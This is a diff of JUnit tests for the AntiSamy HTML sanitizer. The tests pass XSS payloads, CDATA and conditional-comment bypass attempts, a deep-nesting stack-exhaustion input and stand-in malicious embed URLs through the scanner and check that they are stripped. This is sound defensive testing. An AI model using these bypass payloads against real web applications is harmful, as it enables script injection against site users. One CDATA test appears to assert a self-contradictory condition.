+ String s = "<style type=\"text/css\"><![CDATA[P { margin-bottom: 0.08in; } ]]></style>";
+
+ as.scan(s, policy, AntiSamy.DOM);
+ CleanResults cr;
+
+ /* followup - does the patch fix multiline CSS? */
+ String s2 = "<style type=\"text/css\"><![CDATA[\r\nP {\r\n margin-bottom: 0.08in;\r\n}\r\n]]></style>";
+ cr = as.scan(s2, policy, AntiSamy.DOM);
+ assertEquals("<style type=\"text/css\"><![CDATA[P {\n\tmargin-bottom: 0.08in;\n}\n]]></style>", cr.getCleanHTML());
+
+ /* next followup - does non-CDATA parsing still work? */
+
+ String s3 = "<style>P {\n\tmargin-bottom: 0.08in;\n}\n";
+ cr = as.scan(s3, policy.cloneWithDirective(Policy.USE_XHTML, "false"), AntiSamy.DOM);
+ assertEquals("<style>P {\n\tmargin-bottom: 0.08in;\n}\n</style>\n", cr.getCleanHTML());
+ }
+
+ @Test
+ public void isssue31() throws ScanException, PolicyException {
+
+ String test = "<b><u><g>foo";
+ Policy revised = policy.cloneWithDirective("onUnknownTag", "encode");
+ CleanResults cr = as.scan(test, revised, AntiSamy.DOM);
+ String s = cr.getCleanHTML();
+ assertFalse(!s.contains("<g>"));
+ s = as.scan(test, revised, AntiSamy.SAX).getCleanHTML();
+ assertFalse(!s.contains("<g>"));
+
+ Tag tag = policy.getTagByLowercaseName("b").mutateAction("encode");
+ Policy policy1 = policy.mutateTag(tag);
+
+ cr = as.scan(test, policy1, AntiSamy.DOM);
+ s = cr.getCleanHTML();
+
+ assertFalse(!s.contains("<b>"));
+
+ cr = as.scan(test, policy1, AntiSamy.SAX);
+ s = cr.getCleanHTML();
+
+ assertFalse(!s.contains("<b>"));
+ }
+
+ @Test
+ public void issue32() throws ScanException, PolicyException {
+ /* issue #32 - nekos problem */
+ String s = "<SCRIPT =\">\" SRC=\"\"></SCRIPT>";
+ as.scan(s, policy, AntiSamy.DOM);
+ as.scan(s, policy, AntiSamy.SAX);
+ }
+
+ @Test
+ public void issue37() throws ScanException, PolicyException {
+
+ String dirty = "<a onblur=\"try {parent.deselectBloggerImageGracefully();}" + "catch(e) {}\""
+ + "href=\"http://www.charityadvantage.com/ChildrensmuseumEaston/images/BookswithBill.jpg\"><img" + "style=\"FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 150px; CURSOR:"
+ + "hand; HEIGHT: 100px\" alt=\"\"" + "src=\"http://www.charityadvantage.com/ChildrensmuseumEaston/images/BookswithBill.jpg\""
+ + "border=\"0\" /></a><br />Poor Bill, couldn't make it to the Museum's <span" + "class=\"blsp-spelling-corrected\" id=\"SPELLING_ERROR_0\">story time</span>"
+ + "today, he was so busy shoveling! Well, we sure missed you Bill! So since" + "ou were busy moving snow we read books about snow. We found a clue in one"
+ + "book which revealed a snowplow at the end of the story - we wish it had" + "driven to your driveway Bill. We also read a story which shared fourteen"
+ + "<em>Names For Snow. </em>We'll catch up with you next week....wonder which" + "hat Bill will wear?<br />Jane";
+
+ Policy mySpacePolicy = Policy.getInstance(getClass().getResource("/antisamy-myspace.xml"));
+ CleanResults cr = as.scan(dirty, mySpacePolicy, AntiSamy.DOM);
+ assertNotNull(cr.getCleanHTML());
+ cr = as.scan(dirty, mySpacePolicy, AntiSamy.SAX);
+ assertNotNull(cr.getCleanHTML());
+
+ Policy ebayPolicy = Policy.getInstance(getClass().getResource("/antisamy-ebay.xml"));
+ cr = as.scan(dirty, ebayPolicy, AntiSamy.DOM);
+ assertNotNull(cr.getCleanHTML());
+ cr = as.scan(dirty, mySpacePolicy, AntiSamy.SAX);
+ assertNotNull(cr.getCleanHTML());
+
+ Policy slashdotPolicy = Policy.getInstance(getClass().getResource("/antisamy-slashdot.xml"));
+ cr = as.scan(dirty, slashdotPolicy, AntiSamy.DOM);
+ assertNotNull(cr.getCleanHTML());
+ cr = as.scan(dirty, slashdotPolicy, AntiSamy.SAX);
+ assertNotNull(cr.getCleanHTML());
+ }
+
+ @Test
+ public void issue38() throws ScanException, PolicyException {
+
+ /* issue #38 - color problem/color combinations */
+ String s = "<font color=\"#fff\">Test</font>";
+ String expected = "<font color=\"#fff\">Test</font>";
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);
+ assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);
+
+ s = "<div style=\"color: #fff\">Test 3 letter code</div>";
+ expected = "<div style=\"color: rgb(255,255,255);\">Test 3 letter code</div>";
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);
+ assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);
+
+ s = "<font color=\"red\">Test</font>";
+ expected = "<font color=\"red\">Test</font>";
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);
+ assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);
+
+ s = "<font color=\"neonpink\">Test</font>";
+ expected = "<font>Test</font>";
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);
+ assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);
+
+ s = "<font color=\"#0000\">Test</font>";
+ expected = "<font>Test</font>";
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);
+ assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);
+
+ s = "<div style=\"color: #0000\">Test</div>";
+ expected = "<div style=\"\">Test</div>";
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);
+ assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);
+
+ s = "<font color=\"#000000\">Test</font>";
+ expected = "<font color=\"#000000\">Test</font>";
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);
+ assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);
+
+ s = "<div style=\"color: #000000\">Test</div>";
+ expected = "<div style=\"color: rgb(0,0,0);\">Test</div>";
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);
+ assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);
+
+ /*
+ * This test case was failing because of the following code from the
+ * batik CSS library, which throws an exception if any character
+ * other than a '!' follows a beginning token of '<'. The
+ * ParseException is now caught in the node a CssScanner.java and
+ * the outside AntiSamyDOMScanner.java.
+ *
+ * 0398 nextChar(); 0399 if (current != '!') { 0400 throw new
+ * ParseException("character", 0401 reader.getLine(), 0402
+ * reader.getColumn());
+ */
+ s = "<b><u>foo<style><script>alert(1)</script></style>@import 'x';</u>bar";
+ as.scan(s, policy, AntiSamy.DOM);
+ as.scan(s, policy, AntiSamy.SAX);
+
+ }
+
+ @Test
+ public void issue40() throws ScanException, PolicyException {
+
+
+ /* issue #40 - handling <style> media attributes right */
+
+ String s = "<style media=\"print, projection, screen\"> P { margin: 1em; }</style>";
+ Policy revised = policy.cloneWithDirective(Policy.PRESERVE_SPACE, "true");
+
+ CleanResults cr = as.scan(s, revised, AntiSamy.DOM);
+ // System.out.println("here: " + cr.getCleanHTML());
+ assertTrue(cr.getCleanHTML().contains("print, projection, screen"));
+ // System.out.println(cr.getCleanHTML());
+
+ cr = as.scan(s, revised, AntiSamy.SAX);
+ // System.out.println(cr.getCleanHTML());
+ assertTrue(cr.getCleanHTML().contains("print, projection, screen"));
+
+ }
+
+ @Test
+ public void issue41() throws ScanException, PolicyException {
+ /* issue #41 - comment handling */
+
+ Policy revised = policy.cloneWithDirective(Policy.PRESERVE_SPACE, "true");
+
+ policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, "false");
+
+ assertEquals("text ", as.scan("text <!-- comment -->", revised, AntiSamy.DOM).getCleanHTML());
+ assertEquals("text ", as.scan("text <!-- comment -->", revised, AntiSamy.SAX).getCleanHTML());
+
+ Policy revised2 = policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, "true").cloneWithDirective(Policy.PRESERVE_SPACE, "true").cloneWithDirective(Policy.FORMAT_OUTPUT, "false");
+
+ /*
+ * These make sure the regular comments are kept alive and that
+ * conditional comments are ripped out.
+ */
+ assertEquals("<div>text <!-- comment --></div>", as.scan("<div>text <!-- comment --></div>", revised2, AntiSamy.DOM).getCleanHTML());
+ assertEquals("<div>text <!-- comment --></div>", as.scan("<div>text <!-- comment --></div>", revised2, AntiSamy.SAX).getCleanHTML());
+
+ assertEquals("<div>text <!-- comment --></div>", as.scan("<div>text <!--[if IE]> comment <[endif]--></div>", revised2, AntiSamy.DOM).getCleanHTML());
+ assertEquals("<div>text <!-- comment --></div>", as.scan("<div>text <!--[if IE]> comment <[endif]--></div>", revised2, AntiSamy.SAX).getCleanHTML());
+
+ /*
+ * Check to see how nested conditional comments are handled. This is
+ * not very clean but the main goal is to avoid any tags. Not sure
+ * on encodings allowed in comments.
+ */
+ String input = "<div>text <!--[if IE]> <!--[if gte 6]> comment <[endif]--><[endif]--></div>";
+ String expected = "<div>text <!-- <!-- comment --><[endif]--></div>";
+ String output = as.scan(input, revised2, AntiSamy.DOM).getCleanHTML();
+ assertEquals(expected, output);
+
+ input = "<div>text <!--[if IE]> <!--[if gte 6]> comment <[endif]--><[endif]--></div>";
+ expected = "<div>text <!-- <!-- comment --><[endif]--></div>";
+ output = as.scan(input, revised2, AntiSamy.SAX).getCleanHTML();
+
+ assertEquals(expected, output);
+
+ /*
+ * Regular comment nested inside conditional comment. Test makes
+ * sure
+ */
+ assertEquals("<div>text <!-- <!-- IE specific --> comment <[endif]--></div>", as.scan("<div>text <!--[if IE]> <!-- IE specific --> comment <[endif]--></div>", revised2, AntiSamy.DOM).getCleanHTML());
+
+ /*
+ * These play with whitespace and have invalid comment syntax.
+ */
+ assertEquals("<div>text <!-- \ncomment --></div>", as.scan("<div>text <!-- [ if lte 6 ]>\ncomment <[ endif\n]--></div>", revised2, AntiSamy.DOM).getCleanHTML());
+ assertEquals("<div>text comment </div>", as.scan("<div>text <![if !IE]> comment <![endif]></div>", revised2, AntiSamy.DOM).getCleanHTML());
+ assertEquals("<div>text comment </div>", as.scan("<div>text <![ if !IE]> comment <![endif]></div>", revised2, AntiSamy.DOM).getCleanHTML());
+
+ String attack = "[if lte 8]<script>";
+ String spacer = "<![if IE]>";
+
+ StringBuilder sb = new StringBuilder();
+
+ sb.append("<div>text<!");
+
+ for (int i = 0; i < attack.length(); i++) {
+ sb.append(attack.charAt(i));
+ sb.append(spacer);
+ }
+
+ sb.append("<![endif]>");
+
+ String s = sb.toString();
+
+ assertTrue(!as.scan(s, revised2, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan(s, revised2, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+
+ }
+
+ @Test
+ public void issue44() throws ScanException, PolicyException {
+ /*
+ * issue #44 - childless nodes of non-allowed elements won't cause an
+ * error
+ */
+ String s = "<iframe src='http://foo.com/'></iframe>" + "<script src=''></script>" + "<link href='/foo.css'>";
+ as.scan(s, policy, AntiSamy.DOM);
+ assertEquals(as.scan(s, policy, AntiSamy.DOM).getNumberOfErrors(), 3);
+
+ CleanResults cr = as.scan(s, policy, AntiSamy.SAX);
+
+ assertEquals(cr.getNumberOfErrors(), 3);
+ }
+
+ @Test
+ public void issue51() throws ScanException, PolicyException {
+ /* issue #51 - offsite urls with () are found to be invalid */
+ String s = "<a href='http://subdomain.domain/(S(ke0lpq54bw0fvp53a10e1a45))/MyPage.aspx'>test</a>";
+ CleanResults cr = as.scan(s, policy, AntiSamy.DOM);
+
+ // System.out.println(cr.getCleanHTML());
+ assertEquals(cr.getNumberOfErrors(), 0);
+
+ cr = as.scan(s, policy, AntiSamy.SAX);
+ assertEquals(cr.getNumberOfErrors(), 0);
+ }
+
+ @Test
+ public void isssue56() throws ScanException, PolicyException {
+ /* issue #56 - unnecessary spaces */
+
+ String s = "<SPAN style='font-weight: bold;'>Hello World!</SPAN>";
+ String expected = "<span style=\"font-weight: bold;\">Hello World!</span>";
+
+ CleanResults cr = as.scan(s, policy, AntiSamy.DOM);
+ String s2 = cr.getCleanHTML();
+
+ assertEquals(expected, s2);
+
+ cr = as.scan(s, policy, AntiSamy.SAX);
+ s2 = cr.getCleanHTML();
+
+ assertEquals(expected, s2);
+ }
+
+ @Test
+ public void issue58() throws ScanException, PolicyException {
+ /* issue #58 - input not in list of allowed-to-be-empty tags */
+ String s = "tgdan <input/> g h";
+ CleanResults cr = as.scan(s, policy, AntiSamy.DOM);
+ assertTrue(cr.getErrorMessages().size() == 0);
+
+ cr = as.scan(s, policy, AntiSamy.SAX);
+ assertTrue(cr.getErrorMessages().size() == 0);
+ }
+
+ @Test
+ public void issue61() throws ScanException, PolicyException {
+ /* issue #61 - input has newline appended if ends with an accepted tag */
+ String dirtyInput = "blah <b>blah</b>.";
+ Policy revised = policy.cloneWithDirective(Policy.FORMAT_OUTPUT, "false");
+ CleanResults cr = as.scan(dirtyInput, revised, AntiSamy.DOM);
+ assertEquals(dirtyInput, cr.getCleanHTML());
+
+ cr = as.scan(dirtyInput, revised, AntiSamy.SAX);
+ assertEquals(dirtyInput, cr.getCleanHTML());
+ }
+
+ @Test
+ public void issue69() throws ScanException, PolicyException {
+
+
+ /* issue #69 - char attribute should allow single char or entity ref */
+
+ String s = "<table><tr><td char='.'>test</td></tr></table>";
+ CleanResults crDom = as.scan(s, policy, AntiSamy.DOM);
+ CleanResults crSax = as.scan(s, policy, AntiSamy.SAX);
+ String domValue = crDom.getCleanHTML();
+ String saxValue = crSax.getCleanHTML();
+ assertTrue(domValue.contains("char"));
+ assertTrue(saxValue.contains("char"));
+
+ s = "<table><tr><td char='..'>test</td></tr></table>";
+ assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains("char"));
+ assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains("char"));
+
+ s = "<table><tr><td char='"'>test</td></tr></table>";
+ assertTrue(as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains("char"));
+ assertTrue(as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains("char"));
+
+ s = "<table><tr><td char='"a'>test</td></tr></table>";
+ assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains("char"));
+ assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains("char"));
+
+ s = "<table><tr><td char='"&'>test</td></tr></table>";
+ assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains("char"));
+ assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains("char"));
+ }
+
+ @Test
+ public void CDATAByPass() throws ScanException, PolicyException {
+ String malInput = "<![CDATA[]><script>alert(1)</script>]]>";
+ CleanResults crd = as.scan(malInput, policy, AntiSamy.DOM);
+ CleanResults crs = as.scan(malInput, policy, AntiSamy.SAX);
+ String crDom = crd.getCleanHTML();
+ String crSax = crs.getCleanHTML();
+
+ assertTrue(crd.getErrorMessages().size() > 0);
+ assertTrue(crs.getErrorMessages().size() > 0);
+
+ assertTrue(crSax.contains("<script") && !crDom.contains("<script"));
+ assertTrue(crDom.contains("<script") && !crDom.contains("<script"));
+
+ }
+
+ @Test
+ public void literalLists() throws ScanException, PolicyException {
+
+ /* this test is for confirming literal-lists work as
+ * advertised. it turned out to be an invalid / non-
+ * reproducible bug report but the test seemed useful
+ * enough to keep.
+ */
+ String malInput = "hello<p align='invalid'>world</p>";
+
+ CleanResults crd = as.scan(malInput, policy, AntiSamy.DOM);
+ String crDom = crd.getCleanHTML();
+ CleanResults crs = as.scan(malInput, policy, AntiSamy.SAX);
+ String crSax = crs.getCleanHTML();
+
+ assertTrue(!crSax.contains("invalid"));
+ assertTrue(!crDom.contains("invalid"));
+
+ assertTrue(crd.getErrorMessages().size() == 1);
+ assertTrue(crs.getErrorMessages().size() == 1);
+
+ String goodInput = "hello<p align='left'>world</p>";
+ crDom = as.scan(goodInput, policy, AntiSamy.DOM).getCleanHTML();
+ crSax = as.scan(goodInput, policy, AntiSamy.SAX).getCleanHTML();
+
+ assertTrue(crSax.contains("left"));
+ assertTrue(crDom.contains("left"));
+ }
+
+ @Test
+ public void stackExhaustion() throws ScanException, PolicyException {
+ /*
+ * Test Julian Cohen's stack exhaustion bug.
+ */
+
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < 249; i++) {
+ sb.append("<div>");
+ }
+ /*
+ * First, make sure this attack is useless against the
+ * SAX parser.
+ */
+ as.scan(sb.toString(), policy, AntiSamy.SAX);
+
+ /*
+ * Scan this really deep tree (depth=249, 1 less than the
+ * max) and make sure it doesn't blow up.
+ */
+
+ CleanResults crd = as.scan(sb.toString(), policy, AntiSamy.DOM);
+
+ String crDom = crd.getCleanHTML();
+ assertTrue(crDom.length() != 0);
+ /*
+ * Now push it over the limit to 251 and make sure we blow
+ * up safely.
+ */
+ sb.append("<div><div>"); // this makes 251
+
+ try {
+ as.scan(sb.toString(), policy, AntiSamy.DOM);
+ fail("DOM depth exceeded max - should've errored");
+ } catch (ScanException e) {
+
+ }
+ }
+
+ @Test
+ public void issue107() throws ScanException, PolicyException {
+ StringBuilder sb = new StringBuilder();
+
+
+ /*
+ * #107 - erroneous newlines appearing? couldn't reproduce this
+ * error but the test seems worthy of keeping.
+ */
+ String nl = "\n";
+
+ String header = "<h1>Header</h1>";
+ String para = "<p>Paragraph</p>";
+ sb.append(header);
+ sb.append(nl);
+ sb.append(para);
+
+ String html = sb.toString();
+
+ String crDom = as.scan(html, policy, AntiSamy.DOM).getCleanHTML();
+ String crSax = as.scan(html, policy, AntiSamy.SAX).getCleanHTML();
+
+ /* Make sure only 1 newline appears */
+ assertTrue(crDom.lastIndexOf(nl) == crDom.indexOf(nl));
+ assertTrue(crSax.lastIndexOf(nl) == crSax.indexOf(nl));
+
+ int expectedLoc = header.length();
+ int actualLoc = crSax.indexOf(nl);
+ assertTrue(expectedLoc == actualLoc);
+
+ actualLoc = crDom.indexOf(nl);
+ // account for line separator length difference across OSes.
+ assertTrue(expectedLoc == actualLoc || expectedLoc == actualLoc + 1);
+ }
+
+ @Test
+ public void issue112() throws ScanException, PolicyException {
+ TestPolicy revised = policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, "true").cloneWithDirective(Policy.PRESERVE_SPACE, "true").cloneWithDirective(Policy.FORMAT_OUTPUT, "false");
+ StringBuilder sb;
+
+
+ /*
+ * #112 - empty tag becomes self closing
+ */
+
+ String html = "text <strong></strong> text <strong><em></em></strong> text";
+
+ String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();
+ String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();
+
+ assertTrue(!crDom.contains("<strong />") && !crDom.contains("<strong/>"));
+ assertTrue(!crSax.contains("<strong />") && !crSax.contains("<strong/>"));
+
+ sb = new StringBuilder();
+ sb.append("<html><head><title>foobar</title></head><body>");
+ sb.append("<img src=\"http://foobar.com/pic.gif\" /></body></html>");
+
+ html = sb.toString();
+
+ Policy aTrue = revised.cloneWithDirective(Policy.USE_XHTML, "true");
+ crDom = as.scan(html, aTrue, AntiSamy.DOM).getCleanHTML();
+ crSax = as.scan(html, aTrue, AntiSamy.SAX).getCleanHTML();
+
+ assertTrue(html.equals(crDom));
+ assertTrue(html.equals(crSax));
+ }
+
+
+ @Test
+ public void nestedCdataAttacks() throws ScanException, PolicyException {
+ /*
+ * #112 - empty tag becomes self closing
+ */
+
+
+ /*
+ * Testing for nested CDATA attacks against the SAX parser.
+ */
+
+ String html = "<![CDATA[]><script>alert(1)</script><![CDATA[]>]]><script>alert(2)</script>>]]>";
+ String crDom = as.scan(html, policy, AntiSamy.DOM).getCleanHTML();
+ String crSax = as.scan(html, policy, AntiSamy.SAX).getCleanHTML();
+ assertTrue(!crDom.contains("<script>"));
+ assertTrue(!crSax.contains("<script>"));
+ }
+
+ @Test
+ public void issue101InternationalCharacterSupport() throws ScanException, PolicyException {
+ Policy revised = policy.cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, "false");
+
+ String html = "<b>letter 'a' with umlaut: ä";
+ String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();
+ String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();
+ assertTrue(crDom.contains("ä"));
+ assertTrue(crSax.contains("ä"));
+
+ Policy revised2 = policy.cloneWithDirective(Policy.USE_XHTML, "false").cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, "true");
+ crDom = as.scan(html, revised2, AntiSamy.DOM).getCleanHTML();
+ crSax = as.scan(html, revised2, AntiSamy.SAX).getCleanHTML();
+ assertTrue(!crDom.contains("ä"));
+ assertTrue(crDom.contains("ä"));
+ assertTrue(!crSax.contains("ä"));
+ assertTrue(crSax.contains("ä"));
+
+ Policy revised3 = policy.cloneWithDirective(Policy.USE_XHTML, "true").cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, "true");
+ crDom = as.scan(html, revised3, AntiSamy.DOM).getCleanHTML();
+ crSax = as.scan(html, revised3, AntiSamy.SAX).getCleanHTML();
+ assertTrue(!crDom.contains("ä"));
+ assertTrue(crDom.contains("ä"));
+ assertTrue(!crSax.contains("ä"));
+ assertTrue(crSax.contains("ä"));
+ }
+
+ @Test
+ public void iframeAsReportedByOndrej() throws ScanException, PolicyException {
+ String html = "<iframe></iframe>";
+
+ Policy revised;
+
+ Tag tag = new Tag("iframe", Collections.<String, Attribute>emptyMap(), Policy.ACTION_VALIDATE);
+ revised = policy.addTagRule(tag);
+
+ String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();
+ String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();
+
+ assertTrue(html.equals(crDom));
+ assertTrue(html.equals(crSax));
+ }
+
+ /*
+ * Tests cases dealing with nofollowAnchors directive. Assumes anchor tags
+ * have an action set to "validate" (may be implicit) in the policy file.
+ */
+ @Test
+ public void nofollowAnchors() {
+
+ try {
+
+ // if we have activated nofollowAnchors
+ String val = policy.getDirective(Policy.ANCHORS_NOFOLLOW);
+
+ Policy revisedPolici = policy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW, "true");
+
+ // adds when not present
+
+ assertTrue(as.scan("<a href=\"blah\">link</a>", revisedPolici, AntiSamy.DOM).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+ assertTrue(as.scan("<a href=\"blah\">link</a>", revisedPolici, AntiSamy.SAX).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+
+ // adds properly even with bad attr
+ assertTrue(as.scan("<a href=\"blah\" bad=\"true\">link</a>", revisedPolici, AntiSamy.DOM).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+ assertTrue(as.scan("<a href=\"blah\" bad=\"true\">link</a>", revisedPolici, AntiSamy.SAX).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+
+ // rel with bad value gets corrected
+ assertTrue(as.scan("<a href=\"blah\" rel=\"blh\">link</a>", revisedPolici, AntiSamy.DOM).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+ assertTrue(as.scan("<a href=\"blah\" rel=\"blh\">link</a>", revisedPolici, AntiSamy.SAX).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+
+ // correct attribute doesnt get messed with
+ assertTrue(as.scan("<a href=\"blah\" rel=\"nofollow\">link</a>", policy, AntiSamy.DOM).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+ assertTrue(as.scan("<a href=\"blah\" rel=\"nofollow\">link</a>", policy, AntiSamy.SAX).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+
+ // if two correct attributes, only one remaining after scan
+ assertTrue(as.scan("<a href=\"blah\" rel=\"nofollow\" rel=\"nofollow\">link</a>", policy, AntiSamy.DOM).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+ assertTrue(as.scan("<a href=\"blah\" rel=\"nofollow\" rel=\"nofollow\">link</a>", policy, AntiSamy.SAX).getCleanHTML().contains("<a href=\"blah\" rel=\"nofollow\">link</a>"));
+
+ // test if value is off - does it add?
+
+ assertTrue(!as.scan("a href=\"blah\">link</a>", policy, AntiSamy.DOM).getCleanHTML().contains("nofollow"));
+ assertTrue(!as.scan("a href=\"blah\">link</a>", policy, AntiSamy.SAX).getCleanHTML().contains("nofollow"));
+
+ policy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW, val);
+
+ } catch (Exception e) {
+ fail("Caught exception in testNofollowAnchors(): " + e.getMessage());
+ }
+ }
+
+ @Test
+ public void validateParamAsEmbed() throws ScanException, PolicyException {
+ // activate policy setting for this test
+ Policy revised = policy.cloneWithDirective(Policy.VALIDATE_PARAM_AS_EMBED, "true").cloneWithDirective(Policy.FORMAT_OUTPUT, "false").cloneWithDirective(Policy.USE_XHTML, "true");
+
+ // let's start with a YouTube embed
+ String input = "<object width=\"560\" height=\"340\"><param name=\"movie\" value=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"560\" height=\"340\"></embed></object>";
+ String expectedOutput = "<object height=\"340\" width=\"560\"><param name=\"movie\" value=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" /><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><embed allowfullscreen=\"true\" allowscriptaccess=\"always\" height=\"340\" src=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" type=\"application/x-shockwave-flash\" width=\"560\" /></object>";
+ CleanResults cr = as.scan(input, revised, AntiSamy.DOM);
+ assertTrue(cr.getCleanHTML().contains(expectedOutput));
+
+ String saxExpectedOutput = "<object width=\"560\" height=\"340\"><param name=\"movie\" value=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" /><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><embed src=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"560\" height=\"340\" /></object>";
+ cr = as.scan(input, revised, AntiSamy.SAX);
+ assertTrue(cr.getCleanHTML().equals(saxExpectedOutput));
+
+ // now what if someone sticks malicious URL in the value of the
+ // value attribute in the param tag? remove that param tag
+ input = "<object width=\"560\" height=\"340\"><param name=\"movie\" value=\"http://supermaliciouscode.com/badstuff.swf\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"560\" height=\"340\"></embed></object>";
+ expectedOutput = "<object height=\"340\" width=\"560\"><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><embed allowfullscreen=\"true\" allowscriptaccess=\"always\" height=\"340\" src=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" type=\"application/x-shockwave-flash\" width=\"560\" /></object>";
+ saxExpectedOutput = "<object width=\"560\" height=\"340\"><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><embed src=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"560\" height=\"340\" /></object>";
+ cr = as.scan(input, revised, AntiSamy.DOM);
+ assertTrue(cr.getCleanHTML().contains(expectedOutput));
+
+ cr = as.scan(input, revised, AntiSamy.SAX);
+ assertTrue(cr.getCleanHTML().equals(saxExpectedOutput));
+
+ // now what if someone sticks malicious URL in the value of the src
+ // attribute in the embed tag? remove that embed tag
+ input = "<object width=\"560\" height=\"340\"><param name=\"movie\" value=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://hereswhereikeepbadcode.com/ohnoscary.swf\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"560\" height=\"340\"></embed></object>";
+ expectedOutput = "<object height=\"340\" width=\"560\"><param name=\"movie\" value=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" /><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /></object>";
+ saxExpectedOutput = "<object width=\"560\" height=\"340\"><param name=\"movie\" value=\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\" /><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /></object>";
+
+ cr = as.scan(input, revised, AntiSamy.DOM);
+ assertTrue(cr.getCleanHTML().contains(expectedOutput));
+ CleanResults scan = as.scan(input, revised, AntiSamy.SAX);
+ assertTrue(scan.getCleanHTML().equals(saxExpectedOutput));
+ }
+
+ @Test
+ public void compareSpeedsShortStrings() throws IOException, ScanException, PolicyException {
+
+ double totalDomTime = 0;
+ double totalSaxTime = 0;
+
+ int testReps = 1000;
+
+ String html = "<body> hey you <img/> out there on your own </body>";
+
+ for (int j = 0; j < testReps; j++) {
+ totalDomTime += as.scan(html, policy, AntiSamy.DOM).getScanTime();
